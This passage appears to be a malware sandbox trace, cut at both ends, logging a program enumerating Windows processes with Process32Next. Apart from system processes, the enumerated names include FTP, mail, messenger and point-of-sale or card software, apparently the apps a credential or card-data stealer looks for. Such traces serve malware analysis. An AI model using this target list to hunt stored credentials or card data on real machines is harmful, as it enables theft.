| out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.379] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.381] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.383] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0116.384] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.417] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0116.419] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0116.427] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.430] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0116.432] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0116.435] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0116.438] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0116.441] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0116.444] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0116.447] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0116.449] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.452] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0116.455] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0116.458] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0116.460] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0116.463] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0116.466] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.469] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0116.471] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0116.474] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0116.476] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0116.481] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0116.483] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0116.486] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0116.489] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0116.492] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0116.494] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0116.496] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0116.499] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0116.502] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0116.504] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0116.507] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0116.509] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0116.512] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0116.514] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0116.517] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0116.519] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0116.523] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0116.537] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0116.541] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0116.544] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0116.548] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0116.551] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0116.554] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0116.557] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0116.560] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0116.563] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0116.566] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0116.569] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0116.572] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0116.576] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0116.579] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0116.581] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0116.585] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0116.588] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0116.591] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0116.594] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0116.598] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0116.601] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0116.604] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0116.607] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0116.611] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0116.613] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0116.616] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0116.618] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0116.621] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0116.624] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0116.627] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0116.630] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0116.633] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0116.636] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0116.639] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0116.642] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0116.653] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0116.656] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0116.660] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0116.663] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0116.666] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0116.669] Process32Next (in: hSnapshot=0x1e78, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, 